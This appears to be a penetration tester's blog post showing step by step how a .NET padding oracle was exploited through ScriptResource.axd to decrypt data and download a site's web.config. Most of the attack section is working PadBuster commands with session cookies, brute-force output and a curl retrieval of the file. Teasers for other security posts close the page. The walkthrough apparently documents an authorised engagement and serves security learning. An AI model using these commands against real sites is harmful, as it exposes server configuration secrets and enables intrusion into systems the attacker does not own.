Skip to main content

.NET Padding Oracle Attack,, and the Microsoft Recommended Workarounds

For some stupid reason, Whenever GoDaddy sees h t t p s : / / it turns it into a link and removes the scheme. This even happens if you edit the html manually. Because of this sillyness, I've used https:\\ below.

Since I first heard of the Padding Oracle issue, I've wanted to use it to exploit a site. I had that chance this week. Alex Lauerman and I muddled our way through this confusing (at least to me) attack scenario.

The attack is dependent on the server responding differently to an error in the decryption process vs an error in the application due to invalid data. The different response codes tells us whether or not the padding is valid or invalid. If you want to read more on the background of the issue, check out the great post over at

Now that we have a bit of the background covered, back to the site. Upon quick inspection we saw that 404 and 500 errors are redirected to the same error page. Bantha Herders! How did we know this? The 404 result was easy to test, just request an non-existant page. To test the crypto error we found a link in the page:


...messed with it...

...and we were redirected to the same error page.

So all errors redirect to the same page. Bummer, we can't use the status or error page to determine if the padding is invalid or not. But we can still use ScriptResource.axd to bypass all the workarounds recommended by Microsoft.

To add to the fun, the site requires authentication. We need to login and then grab our cookies for use with our attack tool. There are many ways to get the working cookies, I just used FireFox with TamperData to grap the cookies. Once cool thing I noticed, is that even if my session times out and I can no longer browse the site with my browser, I can still request the ScriptResource.axd. It seems that ScriptResource.axd does some different checking on a valid session.

So let's start our attack by beginning with Step 1: Find a valid T-Block Request (The second Step 1, not the first Step 1). We need to find a valid ScriptResource.axd link in the page source, and then we use padbuster.

$ perl "https:\\"
xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."

PadBuster requires the URL (taken from the page's source), the encrypted sample (the d value), block size (16 in .NET), and the encoding (3=.NET UrlToken). The bruteforce option is used to find a valid T-Block. The verbose option is used so we can actually see when we have found a valid T-Block. When one is found you will see this:

Attempt 15 - Status: 200 - Content Length: 393

Now we can use the T-Block request, along with the -prefix option, to use ScriptResource as a padding oracle. We can then decrypt the existing d parameter.

/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1" -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

Boring, but what about downloading the web.config file? First, we need to use the oracle to encrypt "|||~/web.config". Why that string? Well, I'll (sort of) explain that later.

$ perl "https:\\"
xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext "|||~/web.config" -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."


** Finished ***

[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1

So now we have the encypted version of "|||~/web.config". We can use this with our request to ScriptResource.axd to download the web.config. Now, why that string? According to

"The most common way to download files remotely from unpatched framework 3.5 Sp1 and 4.0 is to obtain after decryption a string similar to the one below:

I'm not sure why, but I'll take their word for it. At this point we have encrypted portion of the string above, but we have to bruteforce the first block so we can get "r#gargabe".

perl https:\\
-verbose -encoding 3 -bruteforce -log -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

It will regularly hit strings that will decrypt, but do not match the string we want (r#garbage|||~/web.config). You will see a of results like this:

Attempt 15 - Status: 200 - Content Length: 373

Attempt 485 - Status: 200 - Content Length: 364

The web.config is significantly longer than ~370 bytes. So sit back, grab a drink, and wait. Let this bugger run for a LONG time. In my test it took over 21000 requests. I added the log option so we don't have to keep an eye on the screen. You can come back later and run this command to look for responses with a content length greater than 1000 bytes.

$ cat ActivityLog.txt | grep -E "Length: [0-9]{4,} -A 1"
Attempt 21906 - Status: 200 - Content Length: 12186
Attempt 28796 - Status: 200 - Content Length: 12183
Attempt 35162 - Status: 200 - Content Length: 12183

We have a WINNER!!!!

Now to retrieve the file.
$ curl "https:\\
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0" --insecure -H "Cookie: ASP.NET_SessionId=f2471ac5-e515-..." > web.config

The web.config file is probably gzip encoded so view it like this:

$ gunzip -c web.config

<?xml version="1.0"?>



Popular posts from this blog

3 Years of DirecTV User-Agent Command Injection

I found a bug in one of my DirecTV devices in 2015 after I got DirecTV. DirecTV didn't have a bug bounty program at that time so I used it as a demo in my classes. When AT&T bought DirecTV it then fell under AT&T's bug bounty, which is awarded quarterly. I forgot to submit it in the first post-merger quarger (2015Q4), so I submitted it 2016Q1. Screenshots from the bug bounty submission are at the bottom of this post.

EDIT: I in NO way want to steal the thunder from Ricky Lawshae and or diminish his hard work (although I think we can both agree this is about the lamest work either of use have ever had to do ;) ). My goal is to show how long crappy bugs like this sit.

I got bored a few years ago and decided to see what services the devices in my house expose.  A simple Nmap scan found listening web server on one of the devices. I browsed to it and I see this:

This is one of my DirecTV devices (I have DirecTV, solely so I can watch my precious Green Bay Packers on Sundays.…

Doll Hacking: The Good, The Bad(words) and the Ugly (features)

The age of internet connected toys is upon us. Increasingly, we are seeing children's toys connected to the internet, commonly through an app. I recently purchased a My Friend Cayla ( for uh…testing. I wanted to test the security of the device to see how safe it is for children.

In short, the toy does a good job of protecting children from inappropriate content, but any device (phone, tablet, laptop) can connect to the toy and play or record audio. That last bit scares me. The only protection against recording and arbitrary sound output is that only one device can be connected at a time. An opportunistic bad guy would only need to wait for the tablet or phone to go out of range or run out of battery.
Initial TestingI first needed to get a basic understanding of what Cayla can do and how she works. So I turned her on, connected her to my iPad via Bluetooth, and played with the app.

She began speaking and asking questions about me and my day. She is quite …

Extracting Access Point Names from Packet Captures

Years ago, while working as a Network Engineer, I did a bit of sniffing of our wireless access points. I noticed that some access point, mainly Cisco, broadcast the Access Point's name. I also noticed that the same access point will use a slightly different MAC Address (BSSID) for each SSID (ESSID). Typically the last nibble (half byte), or two, changes. I thought that was interesting, and moved on.

Now that I work as a penetration tester I want to correlate those access points, so I can tell exactly how many devices there are and the MAC addressing scheme. That way I can better identify something that is out of place, like a well place rogue.

Initially I did this by hand, and by hand means: teh suck!!!1! I knew there had to be a better way to do this, so I broke out scapy. I'll walk you through the process of creating a python script that extracts all the AP' MAC addresses, along with their corresponding Name and [E]SSID (if broadcast).

Let's start by looking a packet pr…